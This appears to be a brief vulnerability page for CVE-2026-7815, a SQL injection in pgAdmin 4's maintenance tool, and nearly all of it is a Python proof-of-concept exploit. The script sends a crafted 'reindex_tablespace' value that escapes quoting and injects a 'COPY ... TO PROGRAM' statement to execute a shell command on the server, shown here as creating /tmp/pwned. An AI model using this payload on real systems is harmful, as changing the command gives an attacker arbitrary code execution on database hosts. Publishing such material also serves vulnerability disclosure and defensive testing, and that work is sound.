CVE-2026-7815 pgAdmin 4 维护工具SQL注入漏洞

import requests import json # Conceptual PoC for CVE-2026-7815 # Target: pgAdmin 4 Maintenance Tool # Prerequisite: Valid session with tools_maintenance permission def exploit(url, session_token): headers = { "Content-Type": "application/json", "Authorization": session_token } # Malicious payload exploiting 'reindex_tablespace' field # Breaks out of quotation and injects COPY TO PROGRAM payload = { "buffer_usage_limit": "", "vacuum_parallel": "", "vacuum_index_cleanup": "", "reindex_tablespace": "; COPY (SELECT '') TO PROGRAM 'touch /tmp/pwned' --" } response = requests.post(f"{url}/maintenance/reindex", headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("Payload sent successfully. Check execution.") else: print(f"Failed: {response.text}") # Note: This is a demonstration of the vulnerability mechanism based on the description.